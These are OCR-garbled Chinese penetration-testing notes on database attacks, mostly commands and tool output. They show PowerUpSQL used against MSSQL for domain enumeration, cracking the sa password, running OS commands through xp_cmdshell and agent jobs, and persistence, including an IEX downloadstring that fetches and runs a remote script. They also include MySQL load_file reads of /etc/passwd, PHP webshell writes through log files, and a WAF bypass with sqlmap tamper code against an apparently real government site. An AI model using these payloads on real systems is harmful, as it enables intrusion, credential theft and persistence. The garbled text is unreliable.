0x010500000000000515000000F80F57B63AF32D50A0916B7BF4010000, fEmssqlE Z#)



SELECT SUSER_SNAME (0x010500000000000515000000F20F57E634AF 32050408 16ETEF4010000) |

(FHlE)
1 CATE4CAFE‘Adninistrator

ﬁéﬁiﬁﬁHSQL £ )3 3 B W 3 s BT O

0.6" -Sqluser sa -SqlPass

Domain found

Enumerating do 1 D

Doma'lrl LID _found: 0000000000515000000F80F57B63AF 32D50A
10000 RI
ministrator

Jomain Gue

omg
omain Controll
ert Publi

1a Admins

nterprise Admins
roup Policy Creator Owners
lead-only Domain Controllers
loneable Domain Controllers

enied RODC F‘d'-._ vor d Re[.n'l ic -1T ion Gr uup
omain Computers
E\WinRMRemoteWMIUsers__

msfAMERATE N RBEE A

use auxiliarv/admin/mssql/mssql enum domain accounts sgli
set rhost 10.2.9. 101

set rport 80

set GET _PATH /emplovee. asp?id=1+and+1=[SQLi];—

run

.tencent.com/developer/article/1506821 - -5 EE A K 120 2




RIA H SEA)

Users\mss \Desktop\PowerUpSQL-master\PowerUpSQL-master> Get-S0LInstancelLocal

ComputerName

\ YisplayName : er (MSSOLSERVER)
ServiceName : M5 RVER
g ePath H Program Files\Microsoft SQL Server) Q . SERVER\MSSQ
i ceAccount =R CAFE\mssql
: Running

PS C:\Users\mssql\Desktop\PowerUpSQL-master\PowerUpSQL-master> Get-SQLInstanceDomain

mssql.catedcafe. com
mssql.catedcafe. com,14
15000%0521000248158?1& 8243458016014510712382400
MSSQL

QL
MSSQL Svc
MSSOLSvc/mssql.catedcate. com:1433
2019/9/14 16:23

omputerName
Instance
DomainAccountsid
DomainAccount
DomainAccountCn
Service
Spn
LastLogon
Description

e 3|
- )

B #HE R mssqlsz

\Users\mssql\Desktop\PowerUpsQL-master\PowerUpSQL-master> Get-SQLInstanceBroadcast -Verbose
: Attempting to identify sQL Server instances on the broadcast domain.
2 SQL Server instances were found.

Instance IsClustered version

L 11.0.2100.60
L\CATE4CAFE 11.0.2100.60

mEHBLBEIP



KA EE R
PS C:\Users\mssql\Desktop\PowerUpSQL-master\PowerUpSQL-master> Get-S0LServerConfiguration
omputerName MSSQL
MS50L
access check cache bucket count
0

65536
0
0

MS5QL

MS50L

access check cache quota
0

2147483647
0
0

MSSQL

MSS0L

Ad Hoc Distributed Queries
0

1

0

0

MSSQL
MSS0L

affinity I/0 mask
-2147483648
2147483647

0

0

MSSQL
MSSQL
affinity mask
-2147483648
2147483647

0

0

MS50L

MSSQL

affinitybd4 1/0 mask

-2147483648

2147483647 hitps:/iblog.csdn.net/iqa_34801745

KERF1E B

Ps C:\Users\mssql\Desktop\PowerUpsQlL-master\PoweruUpSQlL-master> Get-SQLInstanceLocal | Get-SQLServerInfo

MSSQL

MSSQL

CATE4CAFE

2752

MSSQLSERVER

CATE4CAFE\mssq]l

gindows and SQL Server Authentication

ServiceProcessID
ServiceName
ServiceAccount
AuthenticationMode
ForcedEncryption
lustered
SQLServerVersionNumber
SQLServerMajorvVersion
SQLServerEdition
SQLServersServicePack
0sArchitecture

No

11.0.2100.60

2012

Developer Edition (64-bit)

RTM

xX64

6.2
CATE4CAFE\mssql
No

1 https://blog.csdn.net/qq_34801745

ActiveSessions

NI NN BB

FE RS IR T BRI 2 3 1) — B s 5] 42 AN BRI BB 1Y, (ERAEFEMSSQLSERVERMISQL Express (K S4iE) - A LAIRIE
B S EEMA A E KK S %Y

S$DefanltPasswords
$DefaultPasswords.R 5
$DefaultPasswords.Rows.
§DefaultPasswords.Rows.
§DefanltPasswords




$DefanltPassword:
$DefanltPasswords.R
$DefanltPasswords.R
S$DefanltPasswords.R
S$Defanl tPasswords . R
S$DefaunltPasswords . R
SDefanltPasswords.
$DefaultPasswords.
§DefaultPasswords
$DefaultPassw
$DefaultPassw .
$DefanltPasswords.
SDefanltPassw
SDefanltPassw ok
S$DefanltPasswords.
SDefanltPasswords.
S$DefanltPasswords.
S$DefanltPasswords.
§DefaultPasswords.R
§DefaultPasswords.R
S$DefaunltPasswords.

PS C: \Users\mssq]\DEfktop\PowerUpSQL -master\PowerUpSQOL -master>
| Invoke HulAud1TWeaklng1nPw -Verbose -UserFile .\user.txt -PassFile

i MSS5aL START MULNERABILITY CHECK: Weak Login Password

MSSaOL CONNECTION SUCCES

MSSQL Getting logins from file...

MSSOL Getting supplied login...

MSSOL Enumerating principal names from 10000 principal IDs..

MSSQL Getting password from file...

MSSQl Pperforming dictionary attack...

MSSOL successful Login: User = sa (Sysadmin) Password =

MSSQL Failed Login: User = sa Password = sa

MS50L COMPLETED VULNERABILITY CHECK: weak Icgin Password

MSSOL START VULNERABILITY CHECK: Weak Login Password

M550QL CONNECTION SUCCESS

MSSQL Getting logins from file...

MSsSsal Getting supplied login...

MSsOL Enumerating principal names from 10000 principal IDs..

MSSQL Getting password from file...

MSSsQl Performing dictionary attack...

MSSOL successful Login: User = sa (Sysadmin) Password =

MSSOL Failed Login: User = sa Password = sa

MS5QL COMPLETED VULNERABILITY CHECK: Weak Login Password

HH%Q[\{A]FJ(AFF START VULNERABILITY CHECK: Weak Login Password
MSSQL\CATE4CAFE CONNECTION FAILED.

MSSQL \CATE4CAFE COMPLETED VULMERABILITY CHECK: Weak Logiﬂ Password.

.\passwd. txt

ﬂmmmmﬂmﬂ

_PL<0okm

g

PL<0okm

omputerName
Instance
Vulnerability

MSSQL

MSSQL

weak Login Password

One or more SQL Server logins is configured with a weak password.
to resources the affected logins have access to.

Ensure all sSQL Server logins are
policy.

High

Yes

Yes

No

Use the affected credentials to log into the SQL Server, or
The sa (Sysadmin) is configured with the password _PL<0Ookm.
https://msdn.microsoft.com/en-us/1ibrary/ms161959. aspx
Scott Sutherland (@_nullbind), NetSPI 2016

A SOR B BB R ] LR R R IS, Ak, 2R BUE T B RE T

Xt
550L
r’SSQL
M550L
MS550L
Ms5QL
Mssal
M550L
Ms50QL
Mssal
MS550L
M550L
MSSOl
A550L
MS50QL
MSSQL
MSSaL
AS50L
MSSaL
M55QL
AS50L
NS&M

A1S50L
PS’QL

\uae: —PassF11e A\passwd. txt |
B : START VULNERABILITY CHECK:
CONNECTION SUCCESS.
Getting logins from file...
Getting supplied Tlogin...
Getting list of logins...
Getting password from file...
Performing dictionary attack. ..
Successful Login: User = sa (Sysadmin) Password = _PL<0Ookm
Failed Login: User = ##MS_PolicyEventProcessingLogin## Password
Failed Login: User = ##MS_PolicyTsglExecutionLogin## Password =
Failed Login: User = sa Password = sa
Failed Login: User = ##MS_PolicyEventProcessingLogin## Password
Failed Login: User = ##MS_PolicyTsqlExecutionLogin## Password =
COMPLETED VULNERABILITY CHECK: Weak Login Password
START VULNERABILITY CHECK: Weak Login Password
CONNECTION SUCCESS.
Getting supplied login...
Getting list of logins...
Performing dictionary attack...
Failed Login: User = sa Password = sa
Failed Login: User = ##MS_PolicyEventProcessingLogin## Passwor
Failed Login: User = ##MS_PolicyTsqlExecutionLogin## Password =
COMPLETED VULNERABILITY CHECK: Weak Login Password

weak Login Password

C \Users\mssqI\Desktop\PouerUpSQl master\PoweruUpSQL-master> Invoke-SQLOSCmd -Verbose -Instance MSSQL -Command

—RdwResu]Ls
Creating runspace pool and session states
MSSOL Connection Success.
MSSQL You are a sysadmin.

Get-SQLInstanceBroadcast |

required to use a strong password.

rerun this command with

Get-SQLConnectionTestThreadedf

This may provide unauthorized access

Consider inheriting the 0S5 password

Exploit.

https://blog.csdn.net/qq_34801745

Invoke-SQLOSCmd# 4T 4

PS C: \Users\mssql\Desktop\PowerUpSQL-master\PowerUpSQL-master> Invoke-SQLAuditWeaklLoginPw -Verbose -Instance MSSQL -User|

Invoke-SQLAuditWeakLoginPw -Verbose -Exploit

= _PL<0Dokm

_PL<0okm

= ##MS_PolicyEventProcessinglLogin##
##Ms_PolicyTsqlExecutionLogin##

= ##MS_PolicyEventProcessinglLogin##
##MS_PolicyTsqlExecutionLogin##

"whoami




oSl - SNOwW F f Pt

MSSQL : Enabled Show Advanced Options.

MSSOL : xp_cmdshell is disabled.

MSSQL : Enabled xp_cmdshell.

MSSQL : Running command: whoami

MSSQL : Disabling xp_cmdshell
“4H{E5.: MS5QL : Disabling show Advanced Options
atedcafe\mssql

https://blog.csdn.net/qq_34801745

TESQL Server/a shi I D05 & B K 7

Invoke-SqlServer-Persist-StartupSp -Verbose -SqlServerInstance "MSSQL2008WIN8" -NewSqlUser EvilSysadminl -NewSql
Pass Password123!

s Mwindows & 1 &

Invoke-SqlServer-Persist-StartupSp -Verbose -SqlServerInstance "MSSQL2008WIN8" -NewosUser Evilosadminl -NewosPas
s Password123!

AT powershelldy4

Invoke-SqglServer-Persist-StartupSp -Verbose -SqlServerInstance "MSSQL20@8WIN8" -PsCommand "IEX(new-object net.we

bclient).downloadstring('https://raw.xxxxxxusercontent.com/nullbind/Powershellery/master/Brainstorming/helloworl
d.ps1')"

Get-SQLPersistRegDebugger -Verbose -FileName utilman.exe -Command 'c:\windows\system32\cmd.exe' -Instance "MSSQL

-Username "sa" -Password " _PL<@okm"

RDPJE ], TEXFImssql A SIEMERIR

PS C:\Users\mssql\Desktop\PowerUpSQL-masterPowerUpSQL-master> Invoke-SQLOSCmdAgentlob -Verbose -Instance MSSQL -Userna
e sa -Password '_PL<0Ookm' -SubSystem cmdexec -Command "echo hello > c:\windows\temp\testl.txt"
ekl : M550L : Connection Success.
MSSQL : SubSystem: cmdexec
MSSQL : Command: echo hello » c:\windows\temp\testl. txt
MSSQL : You have EXECUTE privileges to create Agent Jobs (sp_add_job).
MSSQL : Running the command
MSSQL : Starting sleep for 5 seconds
: MSSOL : Removing job from server
H{= B.: MSSOL : Command complete

omputerName Instance Results

MSSOL The Job succesfully started and was
PS C:\Users\mssql\Desktop\PoweruUpsSQL-master\PowerUpsaL-master> dir c:\windows\temp\testl. txt
B&F: C:\windows\temp

LastwWriteTime Length Name

8 testl.txt

type c:\windows\temp\testl. txfins-/blog.csdn.netiqq_34801745

-F
-F
-F

WA, TEBERT —Ei@EEmssq T RE a4 15 R




Invoke-SQLOSCmd

Invoke-SQLOSCmdCLR

Invoke-SQLOSCmdCOle

Invoke-SQLOSCmdPython

Invoke-SQLOSCmdR

L 2561 22 DD L ANDML 7 7 fih /% %
Get-SQLTriggerDdl -Instance SQLServerl1\STANDARDDEV2014 -username '' -password "'

Get-SQLTriggerDml -Instance SQLServerl\STANDARDDEV2014 -DatabaseName testdb -username '' -password

PR 4E SE B A 0 5 S e 2

HETEA P E R

PS C'\Uscrs\mssq]\Dcsktop\PowcrUpJQL mas ter\PowerUpSQL-master> Get-5QLDomainAccountPolicy
,: MSSQL : Connection Success.
| : MSSQL : Login: CATE4CAFE\mssql
2.1 MSsSQL : Domain: CATE4CAFE
1. MSSQL : Version: SOL Server 2012 Developer Edition (64-bit) (11.0.2100.60)
: MSs0QL Sysadmin: Yes
: MSSQL : ADsDS0OObject provider allowed to run in process: Yes
l: MSSOL : Executing in Link mode using OpenQuery.
i.: MSSQL : Creating ADSI SQL Server link named mHpOFtrC.
: MSSOL : Connection Success.
MSSQL : Associating 'CATE4CAFE\mssql' with ADSI SqQL Server link named mHpOFtrcC.
MSSQL : LDAP query against logon server using ADSI OLEDB started...
MSSQL : Connection Success.
MSSQL : Removing ADSI SQL Server link named mHpOFtrC
. MSSQL : LDAP query against logon server using ADSI OLEDB complete.
i 8.: MS50L : 0 records were found.

pwdhistorylength : 24
lockoutthreshold = (1
lockoutduration : 30
lockoutobservationwindow : ;0
1

=]

: 09/14,/2019 05:16:56
gplink 2 550AP://(N:{3132F340—0160—1102—945F—00C04F6984F9},CN:POTﬁcies,LN:SyStem,thcate4cafe,DL:COm;

https://blog.csdn.net/qq_34801745

MSSQL Connection Success.

MSSOL Login: CATE4CAFE\mssql

M55QL Domain: CATE4CAFE

MSSOL Version: SQL Server 2012 Developer Edition (64-bit) (11.0.2100.60)
MSSOL Sysadmin: Yes

MSSQaL ADsDS00bject provider allowed to run in process: Yes

MSSQaL Executing 1in Link mode using OpenQuery.

MSSOL Creating ADSI SQL Server link named adkZovwi.

MSSQL Connection Success.

MSSOL Associating 'CATE4CAFE\mssql' with ADSI SQL Server link named adkKZovwi.
MSSQaL LDAP query against logon server using ADSI OLEDB started...

MS50QL Connection Success.

MSSQL Removing ADSI SQL Server link named adkKZowvwi

MSSQL LDAP query against logon server using ADSI OLEDB complete.

MSSQL 6 records were found.

LTI T8 TI0F TF T Tk TOE UGk EIOF TLF T T
mmmmmmmmmwmmmmm

samaccountname Administrator
name Administrator
admincount 1

hencreated 2019/9/6 5:10:58




¥ 0 D:.2/ .10
LDAP: //CATE4ACAFE /CN=Administrator,CN=Users ,DC=catedcafe,DC=com

Guest
Guest

2019/9/6 5:10:58
2019/9/6 5:10:58
LDAP: //CATE4CAFE /CN=Guest ,CN=Users ,DC=catedcafe,DC=com

catedcafe
catedcafe

2019/9/6 5:10:58
2019/9/6 5:27:10
LDAP: //CATE4CAFE /CN=catedcafe,CN=Users ,DC=catedcafe,DC=com

krbtgt
krbtgt
1

2019/9/6 5:12:01
2019/9/6 5:27:10
LDAP: //CATE4CAFE /CN=krbtgt,CN=Users ,DC=catedcafe,DC=com

mssq} hitps://blog.csdn.netlqg_34801745

Connection Success

Login: CATE4CAFE\mssql

Domain: CATE4CAFE

Version: 50L Server 2012 Developer Edition (64-bit) (11.0.2100.60)
Sysadmin: Yes

ADsDS00bject provider allowed to run in process: Yes

Executing in Link mode using OpenQuery.

Creating ADSI 50L Server link named cDsnyClm.

Connection Success.

Associating 'CATE4CAFE\mssql' with ADSI sQL Server link named cDsnyClm.
LDAP query against logon server using ADSI OLEDB started...
Connection Success.

Removing ADSI S0QL Server link named cDsnyClm

LDAP query against logon server using ADSI OLEDB complete.

47 records were found.

WinRMRemotewWwMIUsers_

2019/9/6 5:10:58
2019/9/6 5:10:58
LDAP: //CATE4ACAFE /CN=WinRMRemotewMIUsers__ ,CN=Users ,DC=catedcafe,DC=com

Administrators

1

2019/9/6 5:10:58

2019/9/6 5:27:10

LDAP: //CATE4ACAFE /CN=Administrators ,CN=Builtin,DC=catedcafe,DC=com

Users

2019/9/6 5:10:58
2019/9/6 5:12:01
LDAP: //CATE4ACAFE /CN=Users ,CN=Builtin,DC=catedcafe,DC=com

Guests

2019/9/6 5:10:58
2019/9/6 5:12:01
LDAP: / /CATEACAFE /CN=Gues ts ,CN=Bui1tin,DC=cated chifies; Mideqoasdn.net/qq_34801745

PS C: \U';er's\ms';q1\Desktop\PowerUp5uL master‘\PowerUpSQL -master> Get-SQLDomainComputer -Instance MSSQL -Verbose -LinkUsern
4—(_clfe\rn:=:=q1 -LinkPassword '_PL<Ookm"
Connection Success.
: Login: CATE4CAFE\mssql
: Domain: CATE4CAFE
: Version: SQL Server 2012 Developer Edition (64-bit) (11.0.2100.60)
: Sysadmin: Yes
: AD&:DS”(}L}JEL1 provider allowed to run in process: Yes
= Exccut1ng in Link mode using OpenQuery.
M‘:f-.fll : Creating ADST SQL Server link named kqPDpehL.




" with ADSI SQ 1ink named kgPDpehL.
g ADSI Ol e

DpehL
DSI OLEDB complete.

FHHIS E

samaccountname

com
2012 R2 Datacenter
/CN=MSSQL ,CN=Computers ,DC=catedcafe,DC=com

: winl0.c
: Windo

- 0:43
adspath = ! C# AFE/CN=WIN10,CN=Computers ,DC=cated4cafe,DC=com it g.csdn.net

FLAETETERMLSH, 0K 2E T H wiki
B 0 &

BN S i SR
FRABRAR PR UK = 2 B0 e

BT BRI SE I BRIA O &

2.2.10.3 4 ) F Mysql % 2 4t & 30 I 1R

WE

EBENRE, EXMysq3ftE, FEHFload fileSinto outfilelt, &K ITEE Hload filetBIARI R4 Finto outfilet
TEB NG T 1Tgetshell, XBHMEA BE T E T Mysql$dE Rt secure_file privEEZEEE. W EH TRHIEIE S AN
SHERME, PUTHIRE LOAD DATARISELECT... NTO OUTFILEREZFILOAD FILE(MIE. X5 B 7 HFILERIR I P 34T

XL

*%

Mysqlt FR
1. BRI P R0 EMYS QLIRS S IR 1E . XL R AR, BT R4 5 T4 5 B e i
2. Wi RIS A T H0B B B BT R 7T B SOR B e R T X BRI, LA AT P T T S0 e

3. ATLIA¥EE P R E X B, BUREP SR RBMIER R (i, BEETRFIER) RERKTEN SR THEEN R
(mk, R3l, MEMEEEEIE KBUR. raBaEEha e R BHTR

load_filer % F ¥
A RIR B B A K B2 GRANTHIREVOKE H) 7o ¥ 58 S BUR H i file FEB E MR 2, WEZ load_file e B SC A4 AT & 2614

MySQL LOAD_FILE () BEEUCHFH LA 8 2R B S0 N 2 .



LOAD FILE (file name)

Hrhfile_name &7 B 12 B S 4

Bt & .
=] .

—{ LOAD_FILE —()—X(file_name }—())—>

{C) w3resource.com

Sl

SELECT * LOAD_FILE ('/home/username/myfile.txt")

BRI Fload_file S BUCHAA JLAN AT :

1) ZEUINERKI SO B E T BT MyS QLR 5 88 )[R — L

2) IS LS R S e B AR 4

3) IEFEPAT %KM P L AAA FILESUR

4) EKSCHEAEEIE max_allowed packet3 &35 5E HIME

5) MySQLA —A secure_file_priviEE. WRZBENEBRENETEFA, WEMBRKSCHBEAMT % H xH
Mysqlhi 4 % 5

55532 iRA, BRIAELL THAEENT, ARFMFAmysql&iisfsecure file privEEE#H CRitidwindows R 221 HL)
5.5.53 k2 Ja A& Msecure_file_privid R géfEtimy.cnflit B3 (A ibwindows 88 22 3%)
RS P 2

e 307

B

MySQLS . SR A

RedHat6. 24

AN BefE F navicat®E B 5035 2 (FErootBU SR F) -

H#x:

i Flocd_file e B AR 55 25 SC4F RERsh AL B S0 W M YRS, #t—Pgetshell

show global variables like '%secure%’;




affF IEaRTRE (#sQL ORBR IX&F -8

§ — —

localhost v || 2 test ' ETt

ER =:F1 BF KT
Variable name Value
P secure_auth OFF

secure file priv NULL

secure_file_privit{& null, A 4secure_file_privix BE#H H 4 ¥ B
secure_file_privAnulR RS RTFSFANFEH

secure_file_privig & XXM e if Raamysql SN 5 H R B8R £ T8 R o
secure_file_privi&F ¥ B i W R 7~ BEA A 1A FR il

HE R IThA Hload_filel %, Wik Esecure file privEE N, XFEEECCF A BRI
set global secure_file_priv=";

HER: Bisecure_file_privit B, & EEBmysqld B84

H—H 3 etc/passwd Xt

select load file('/etc/passwd');



OomayRTA . ®csQ

OrBg xz @ saan

BELHE kG (BLOB) 1.26KB, & IIABLOB##I%IE, AHEHRECHER,

15 Al wiresharkiszBX MySQL ¥ 1 1 %5 — Request Query(s 2.

ation Ir;towl Le: ll‘;tor —
68,81 MySQL | 76 Request Query

168.¢ MySQL 79 Request Query
16.1¢ MySQL 1434 Response
© 16.1¢ & MySQL 1434 ResponseResponse
. 168.0 cp 54 6787 -~ 3306 [ACK] Seq=39 Ack=2772 Win=10824 Len=@
16.3 MySQL 1434 ResponseResponse
16.8 & MySQL 1434 ResponseResponse
168. 1 TCP 54 6787 = 3306 [ACK] Seq=39 Ack=5532 Win=1824 Len=0
16.3 MySQL 1434 ResponseResponse
F16,16 8 MySQL 965 ResponseResponse
168.4 e 54 6787 - 3386 [ACK] Seq=39 Ack=7823 Win=1824 Len=0
168.¢ MySQL 7@ Request Query
. 16.1€ MySQL 1434 Response
16.18 MySQL 1434 ResponseResponse
168.88 Tce 54 6787 » 3306 [ACK] Seg=55 Ack=10583 Win=1024 Len=0
. 16.10.5 MySQL 1434 ResponseResponse
16.18. MySQL 1434 ResponseResponse
168.88 TCP 54 6787 ~» 3306 [ACK] Seq=55 Ack=13343 Win=1824 Len=@

), 76 bytes capturea (608 bits) on interface 8
149:b3:8¢:08 (00:ff:49:b3:8c:08), Dst: 00:ff:4a:b3:8c:08 (00:ff:4a:b3:8¢:08)

R G fEWireshark H & & TCPIRBLEEE BlpasswdfE &...
XR— N Eg !



i I K FF
% into outflelE ¥, T HAHATgeshell, FIF % H R RE AT 1R

. secure_file privA%, RE A

« REBAREEZ, W /var/www/htmpF sk B2 R

~ BNKISCERERS IEF R AT

FH—FEE (FFEmysql rooffR])

1. B general_ logHifE Non, [ifgeneral log_filef&e Mk 45T Bi42+ 3014

2. EEMEEE#sqliBa) (thitsqliBAMER—AEEI], BEBH TES Aphp) , KR MEEERE TS AsqLiBa), Wia5SANRSCH, Ak
Thgetshe||

e
bih

=

R H LT RE R SR TARF A F 2] 24, ARGAESHIAEE — A —PUXUR, FERE RGN &AM ARR A8, NPkl
—% &S B o851

2.2.10.4 HibernateZ A< 3£ A\

EAES

JDBC: #4tT —4 Java APBR; A 5% R B B 1 Javate 7
ORM: X} 5K R B

SRR HdfE PR AR —— X

AT ERAERIEE, TRBAELERTR

Hibernate :

F T ORMI) — FhHELE

% IDBCARAD 317 4 45

T %3 7 T B 5 SQLYE A 1t e SE BN H0HE e BEAT B M 5 2

& T dao)Z

i% A TMS SQLSERVER. ORACLE. SQL. H2. AccessHIMysql&:ZFh ¥ &

SHEE:

https://xuzhongcn.github.io/hibernate/01/Hibernatedl.html
https://www.cnblogs.com/-qing-/p/11650774.html  --JEAIH;

https://cloud.tencent.com/developer/article/1035345  --VEAMH

X B %t F Hibernatey: A 32 JLAN BB /5 -
I I e VR BY

{fFsave, KA RES HELPHEIRIH



R, BI2RIET, Hibernate KIEEAL HIENIRIF

Usertestusertest=new Usertest();

usertest.setUsername(username);
usertest.setPassword(password);

session.save(usertest);

#EWRERD

createQueryZ& 5 WL EIRTH

Szhr b, A S HIRFAKRE like "%xxx%'s order by xxxiXFhi&fa)H
16 SR AN R 3R AR ARAD P i R < B B ARG **,  th G BT RE L L PH IR

#Hibernatexz i A

' or user() like '%root%

#Hibernate 4~ 32 #7 4 A\ union/select

B I T AT 1R P

#3255 ¥ 1%& com.springboottest.teston.security.module.Usertest

Usertest®2 & XA HI2K, HEEEESTKM P BIER——XB, FRAE R HIERA
WER T B

password A —F B4, FEbiA A FiEa)H R

1' or password='2

& & O 1270058

T i R B

password1 R AN FB 4, B AL T iEa) RS

1' or passwordl='2



= @ AZ7DoAE

L e I

Whitelabel Error Page

This application has no explicit mapping for /error, so you are seeing this as a fallback.

Fri Nov 08 17:37:25 CST 2019
There was an unexpected error (type=Internal Server Error, status=500).
org.hibernate.exception.SQLGrammarException: could not extract ResultSet

2.2.10.5 mysql | FH general_log_file. slow_query log_file’5 3¢ 4

FRAKImysqlf, —MRBRINACE T —secure_file_privAnullBR & T XS N, XEF, B LLEEmysqlfigeneral_log_file.
slow_query_log_filesk 23R 5 x4

general_log_file

set global general_log='on'

SET global general_log file='D:/phpstudy/www/1.php";

SELECT '<?php assert($_POST["cmd"]);?>";
set global general log='off'; //VlickH

slow_query_log_file
FEITmysqlfi8E#, £22-2EBERNHE, £MySQLIREH—FHEEFE, FRIEFAE MySQL A ma 5L 8] 8 i 1R E 115 6] .
FiRaZ JEBRINEERZ10s, 7] AR Stk ja]

set global slow_query log=on;

set global slow query log file="C:\\phpstudy\\PHPTutorial\\www\\3.php
select sleep(15), '<?php assert($ POST["cmd"]);?>"

set global slow query log=off

SHENE: FIBR

https://www.kOrz3n.com/2018/10/21/Mysql%207E &% M= i F) FH / --general_log fileflH S Ashell

https://www.cnblogs.com/-mo-/p/11677621.html --slow_query_ log fileF|H ik

2.2.10.6 SQL Serveri: A\ Getshell 7 # R )

X BB e K A2 I S % 7
e K41 % . https://payloads.online/posts/
SERZH B —RXE: FEXRIE AR AEFK-Regswr32 olext &

0x01 i &
ACARRERRH L KT, FEPZHNMPBRK—NEBRE

0x02 BypassiE A A


https://payloads.online/archivers/2019-07-19/1

BEBHT, BFISQL ServeriE AN p, REWBXERTERZDBANIR, WHRRZ, HBABMTREERITAT AL HIAR, K # 5
C2t, HEESENEEELE.

—IFIRAE— AR 2 K ThAE RUXBL T SQL ServerffiEN, &m*ﬁ"f’(sﬂ)ﬂANDn&ﬁ%ﬂ%ﬁ

r L L L L "
POST /TPBidder 5/Huifuaninfolis2_BT/Pages/AttachManage/AttachView aspx/GetimgHeadinfos HTTP/1.1

HTI'P’l 1400 Ea(l Pequest

Ho e — Cache-Control private

Content-Length: 129 Content-Length: 169

Accept: #/+ o = utf-8

Qrigin: htip//ggzy xjbt.gov.cn Server. Microsoft-1I5/75

X-Requested-With XMLHttpRequest X-Asphlet-Version 4 030319

User-Agent: Mozilla/5.0 (Windows NT 10,0, Win64, x64) AppleWebKit/537 36 (KHTML, like Gecka) Chrome/78.0.3904.108 Safari/537.36 X-Powered-By: ASP NET

Content-Type: applicabon/|sonutf-8 157 o GMT

Referer Connection’ close

http. /M‘TPB\MH 5/Huifuaninfolis?_BT/Pages/Atrach Manage/AttachView aspx?ViewType=1&0anWeiGuid=09a37eel -5e

c3-46db-92 622eBd&ClientGuid=09a37eel -5ec3-46db-9279-4cb066622e8d& ClientType=&StepGuid =9626F TEB -343B - 440F - BF Body JSON: ModuleTvpe £ FHEEFIFSA. "and”
C0-E3E29C2B0AJ9& ModuleType= = F 1 URL: /tpbidder 5/ hLlI uaninfomis2_bt/pagesfattachmanage/attachview aspx/getin
Accept-Encoding gzip, deflate dinfos

Accept-Language: zh-CHN zh (|'Cu
Cookie: _gscu_244208201= 7
AntiXsrfToken =B6c667e2

B74 8507,

UserMaLZ\ddreEE 1andCI)O 618d-467c-a60e-Tdd148c1 7626
KOfkab; UserlP_laBfdch0-6f8d-467c-able- Tdd148c1 762e="
CurrentDanWeiGuid_LaBfdch0- 6f6d-467c-able- 7dd148c1 7 2abcSf 49a5-8000
CurrentDanWeiTvpe 1a8fdcb0-6f8d-467c-ab0e-7dd148c1762e=11, StatusCode 138&\(\10 Gde 4"
1a8fdch0-6f8d -467c-a60e- 7dd148c1 762el 1skinMame=white; ScreenWidth =1920; ScreenHeight=865
Connection: close

chaale?

{"ClientType": ", "ClientGuid": "09a37eel -5ec3-46db-9279 -lchO‘iB‘iZZe.:d"["\;chu\eT:.'pe " A2501' AND 's' ‘;‘fl‘\sBacl«End" false }

Z4: ModuleTypeFfEIEA R, HEFBEA —EHmERMAKARRIE], AEEOIERE, BRAFEEEITH—F,

RERTUTHR:

-> And
-> /**/And

-> /*xsww!s*/And

-> /*xswwS1154-_[0@)}!s*/And
/***/And

RARIBELMATUGRE, EREwITEPR /+*/ REMANDR— A,
ABIEEE) T M RKFRER, PIPAXA L IEN EEE AR /*\w{o, }*/
m Params ]Headers IEI JSON Beautifier ] [E] H;adels IEI JSON Bea

PCST w/GetimgHeadInfos HTTP/1 1
He o
Cal 1
Accept:

Oric

X-Re o Lquest

User-Agent: Mozilla/s 0 (Windows NT 10.0; Win64; x64) AppleWebkit/537 36 (KHTML, like Gecko) Chrome/78 03904 108 Safari/537 36
Content-Type: application/jsonutf-8

_r

L

MNiewTvpe=1&DanWeiGuid=09a37eel -5e
Clsiies UELo-H0UL- 2 (9 -auuubobsZe8d& ClientType=&StepGuid=9626FTEB - 343B - 440F-BF
co EaE’GC"BOAQG&I‘JIoduIeT /pe=

[eRp P
=] ‘id?ﬁD"BJﬁﬁFQF“PGA]FJF?
5 “3D404B4B049043C2T75CFEA2076A1 EBGFDEOFEABBETBFEACABDIBE0Y

33273F2B673B22140FNC 2 "E243DERAGSB079BCCF5238F1
s cundchaahe Thofrabhd Ohethdchaakhe?
unnection..

{"ClientType": ", "ClientGuid": "09a37eel - 5ec3-46db-9279-4ch066622e8d", "ModuleType™: " A2501" /+++/AND 's ='s", "IsBackEnd": false }|

0x03 tamper B 3h4k 23

XEBEE#NT L Fspace2comment.py, XANIZATEKal Linux+ fiIsqlmap B 3% F -



:~# 1s /usr/share/sqlmap/tamper/ | grep space2
space2comment . py
space2dash.py
spacez2hash.py
space2Zmorecomment.py
space2morehash. py
space2mssqlblank.py
space2mssqlhash.py
space2mysqlblank.py
space2mysqgldash.py
space2plus.py

space2randomblank. py
- ~ff I https://blog.csdn.net/gg_34801745

2LV TR

for i in xrange(len(payload)):
if not firstspace:
if payload[i].isspace():
firstspace = True
retval += "/**/"

continue

elif payload[i] == "\"'
quote = not quote

elif payload[i] == ""'

doublequote = not doublequote

elif payload[i] == " " and not doublequote and not quote:
retval += "/**/"

continue

R B/ .

for 1 in xrange(len(payload)):
if not firstspace:
if payload[i].isspace():
firstspace = True
retVal += "/*ixoocke/"
continue

elif payload[i] = '\'"':
quote = not quote

elif payload[i] == '"':

doublequote = nﬁﬂ?]s:ﬂt?[ygpclét rgrl'f‘e%-l@tt}e_B-ﬂerMb

#E, BATCABHEANT ~




PS: BB IR T A --random-agent S5, HHLEFEANIES, BRBERERMESE RN

Title: Microsoft SQL Server/Sybase boolean-based blind - Stacked queries (IF)
Payload: {"ClientType": "", "ClientGuid": "09a37eel-5ec3-46db-9279-4cb066622e8d
1) SELECT 7581 ELSE DROP FUNCTION jkQw--", "IsBackEnd": false }

Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN
Payload: {"ClientType": "", "ClientGuid": "09a37eel-5ec3-46db-9279-4ch066622e8d
(SELECT (CHAR(113)+CHAR(98)+CHAR(120)+CHAR(113)+CHAR(113)+(SELECT (CASE WHEN (4833
ND) )+CHAR(113)+CHAR(106)+CHAR(98)+CHAR(120)+CHAR(113)))-- UfsY", "IsBackEnd": false

Type: time-based blind

Title: Microsoft SQL Server/Sybase AND time-based blind (heavy query)

Payload: {"ClientType": "", "ClientGuid": "09a37eel-5ec3-46db-9279-4cbh066622e8d
ELECT COUNT(*) FROM sysusers AS sysl,sysusers AS sys2,sysusers AS sys3,sysusers AS
s6,sysusers AS sys7)-- ujsX", "IsBackEnd": false }

59] [WARNING] changes made by tampering scripts are not included in shown pa
9] [INFO] testing Microsoft SQL Server

w] [INFO] confirming Microsoft SQL Server

3:31:06] [INFO] the back-end DBMS is Microsoft SQL Server

back end DBMS: Microsoft SQL Server Unknown

[08:31:06] [INFO] testing if current user is DBA

current user is DBA: True

